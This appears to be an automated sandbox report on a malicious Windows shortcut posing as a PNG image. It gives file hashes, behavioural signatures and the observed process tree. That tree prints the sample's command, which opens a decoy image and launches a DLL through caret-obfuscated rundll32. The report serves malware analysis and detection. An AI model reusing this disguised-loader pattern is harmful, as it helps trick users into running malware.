Analysis
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max time kernel
148s -
max time network
173s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
19-09-2022 16:40
Static task
static1
Behavioral task
behavioral1
Sample
demoscan-130722.31825.png.lnk
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
demoscan-130722.31825.png.lnk
Resource
win10v2004-20220812-en
Behavioral task
behavioral3
Sample
lxLoqZul.dll
Resource
win7-20220812-en
General
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Target
demoscan-130722.31825.png.lnk
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Size
1KB
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MD5
94becc82bec4b426037f84299cf26513
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SHA1
c10372b5620ca781e45223beb28523a6ab393d3a
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SHA256
8f3a28d2fb7c2ec67f083194a9c44edef94c20c1d5b10e2d0e45385c5f7b542f
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SHA512
f7e86bb9ccfdf0651ba13738226ba222a74acec35a578aa7a297a54ab23aaccc3d241259fb495c3aca50b076fb12c017e314761b220f0ce4e0dd466fe72472d8
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2508 wrote to memory of 1320 2508 cmd.exe 82 PID 2508 wrote to memory of 1320 2508 cmd.exe 82
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\demoscan-130722.31825.png.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2508 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "start Eh7rlR3b.png && start r^un^dl^l3^2 lxLoqZul.d^l^l, #1"2⤵PID:1320
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